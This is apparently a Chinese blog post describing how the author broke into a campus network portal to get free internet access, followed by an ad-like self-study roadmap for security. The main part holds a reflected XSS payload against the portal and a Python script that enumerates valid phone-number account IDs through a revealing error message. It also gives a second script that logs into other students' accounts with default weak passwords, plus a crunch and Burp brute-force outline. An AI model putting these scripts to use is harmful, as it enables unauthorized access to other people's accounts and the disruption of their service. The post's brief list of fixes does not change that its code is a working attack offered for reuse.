下面会介绍两种破解方法
下面介绍的方法是用于账号和密码知道二者其一才行,如果二者都不知道,那就你费些时间了,这我就不多说了,懂得都懂…
我先说一下破解思路:
其实很简单,无非就是跑字典,我们第一步就是要先生成字典,第二步去进行测试,就是类似于正常人登录一样,只不过我这是用脚本跑的,更快。
目录
利用python脚本破解
利用kali中的burp进行破解
利用python脚本破解
简介
前端做的不是很好,前端UI布局写的较差,后端接口也不太严谨,能够透露出些信息容易被利用,在找漏洞的过程中发现一个反射型的xss,用处不是很大毕竟要受害者点击才能执行恶意代码,我找到的这些东西和思路都总结在下面。
反射型XSS
![](https://img-
blog.csdnimg.cn/img_convert/089920a8b711af789dcc70a14446b034.png)
http://10.100.10.100:801/eportal/portal/mac/unbind?callback=<script>alert("xss");</script>
一个危害不大的反射型XSS,下面就是文章的主题,如何蹭网!
认证网址
http://10.100.10.100 // 用户认证
http://10.100.10.3:8080/Self/login // 用户后台登录
http://10.100.10.100:9002 //注销登录
http://10.100.10.100:801 // 主后台管理
分析认证
![](https://img-
blog.csdnimg.cn/img_convert/984efbdb5073a9b963ffc79b3917a3f5.png)
蹭网原理
蹭网的方法有很多,比较流行的是基于端口(可以自行百度),还有就是通过改主机MAC地址(已经上线了的主机MAC,把自己MAC的改成他的,那么两个能够同时上网,在这里会有一点小瑕疵,流量一下你这一下他那,总的来说是可以上网的)。
![](https://img-
blog.csdnimg.cn/img_convert/721153ae970b0b717c565a28059c5728.png)
可以发现我随便输入一个不存在的账号加一个错误的密码,登录返回的信息居然是账号不存在?
不得了,通过上面的信息完全就可以跑手机号,一想到联通手机号开头是 130、131、132、155、156、185、186、145、176。
后面的数可以进行程序进行猜,一般来说安全意识不强的人不会拿到账号去更改密码的。
所以容易留下弱口令,校园网给的密码是6个6 或 1~6 只要拿到账号那岂不是就能登上去了?废话不多说开始写代码。。。
import requests import re import itertools import multiprocessing import os url = "http://10.100.10.100/drcom/login" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36’
}def checkUserId(userId): params = { "callback": "dr1003", "DDDDD": f"{userId}@unicom", "upass": "1", "0MKKey": "000", "R1": "0", "R2": "", "R3": "0", "R6": "0", "para": "00", "v6ip": "", "terminal_type": "1", "lang": "zh-cn", "jsVersion": "4.2", "v": "6687", "lang": "zh" } try: res = requests.get(url, params=params, headers=headers).text data = re.findall(r'"msga":"(.*?)"', res) if data[0] != "userid error1": with open(fr"{os.getcwd()}\userId.txt", "a") as f: f.writelines(userId + "\n") print(userId, "√") else: print(userId, "x") except Exception as e: print(f"Error for user ID {userId}: {e}") return e if __name__ == '__main__': results = [] prefix_list = ["1767399"] # Create numbers list #“1767399”
可以随便改
num_processes = 2 # Create 2 multiprocessespool = multiprocessing.Pool(num_processes) for suffix in itertools.product(range(0, 10), repeat=4): suffix_str = ''.join(map(str, suffix)) for prefix in prefix_list: user_id = f"{prefix}{suffix_str}" result = pool.apply_async(checkUserId, args=(user_id,)) results.append(result) # Wait for all processes to finish pool.close() pool.join() # Print any exceptions that occurred during execution for result in results: if result.get() is not None: print(result.get())
代码运行
这里我只写了Python3的脚本,就不用其他语言了,做这种事还是Python用的方便些。
![](https://img-
blog.csdnimg.cn/img_convert/ba2c5fba74bd9203b8926240f4f9ec74.png)
运行结果
![](https://img-
blog.csdnimg.cn/img_convert/56ad6b127c8b2aaa6472165df4224532.png)
我运行一半就不跑了毕竟不是来搞破坏的,先看看保存的手机号有610多个手机号,效果还可以。
![](https://img-
blog.csdnimg.cn/img_convert/18ea3ae64b3199e48ed0efe50123f3a2.png)
随便拿个账号试试 密码6个6 和我想得一样 登录成功!!
![](https://img-
blog.csdnimg.cn/img_convert/03e46827ab114d26c467c22e0cde158b.png)
其他的账号都是一样,可以发现他现,在上网就不打扰他了。
安全总结
1.前端的错误提示不要给的太明显,可以写成这样 “账号或者密码错误”。
2.对账号密码的加密,虽然可以通过JS逆向出来但也可以增加安全性。
3.对前端错误次数做限制再加上验证码,虽然可以破解但也可以增加安全性。
4.当你拿到账号时登录后请先修改强密码,防止弱口令登录。
危害总结
1.登录后别人可以使用您的网络 可以等你下线再使用或者直接使用你的账号上网。
2.可以对你进行断网操作,危害校园网较大影响网络体验导致投诉。
3.可以修改你的密码,由于后台更改密码需要身份证,但并没有完善。
4.账号并没有绑定身份证,导致只能去办理校园网那里更改较麻烦。
修改密码
可以发现如果密码被改了,自己是无法从外面修改自己的密码的只能去办理校园网那里进行修改。
![](https://img-
blog.csdnimg.cn/img_convert/28d38a2b2f111fd0cd2682c8685d61cd.png)
修改密码
修改无效
![](https://img-
blog.csdnimg.cn/img_convert/b4204da388f4bddbe58cb42f6d12bae3.png)
Wifi共享思路
既然都有账号密码,那我岂不是可以免费上网了,由于最后一个学期了就没办校园卡,
于是写了个遍历判断如果在上网的用户就不打扰了,只连不在上网的用户这样就好了。
import requests import re url = "http://10.100.10.100/drcom/login" with open("userId.txt", "r") as f: for line in f.readlines(): user_id = line.strip() params = { "callback": "dr1003", "DDDDD": f"{user_id}@unicom", "upass": "666666", "0MKKey": "123456", "R1": "0", "R2": "", "R3": "0", "R6": "0", "para": "00", "v6ip": "", "terminal_type": "1", "lang": "zh-cn", "jsVersion": "4.2", "v": "6687", "lang": "zh" } res = requests.get(url, params=params) cont = re.findall(r'{"result":(.*?),', res.text) print(cont) if cont and cont[0] == "1": print(f"{user_id}, 登录成功~") break
这样就可以破解校园网了,下面介绍另一种方法。
利用kali中的burp进行破解
kali想必大家都知道吧,里面的工具burp我就不跟大家过多叙述了,下面直接进入主题(我这里是知道密码,不知账号得情况,如果你们的是知道账号,不知密码也可以用以下方法)
首先我们先生成字典
这里的crunch是kali上的一个工具,-t表示%是数字,前面两个11分别表示的是生成的数字最短是11位,最长也是11位,>>是将生成的字典保存在tjy.txt中。
生成字典的方法还有很多,当平台不让发,所以你们去网上找找啦
然后我们对校园网站进行抓包,如下
开始破解了
看响应码和长度,有不同的话进去看响应包
以上就是klai利用burp破解的过程
希望大家喜欢!!!
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
![](https://img-blog.csdnimg.cn/img_convert/39417ce605b34b06bedb14bb7efb871c.jpeg)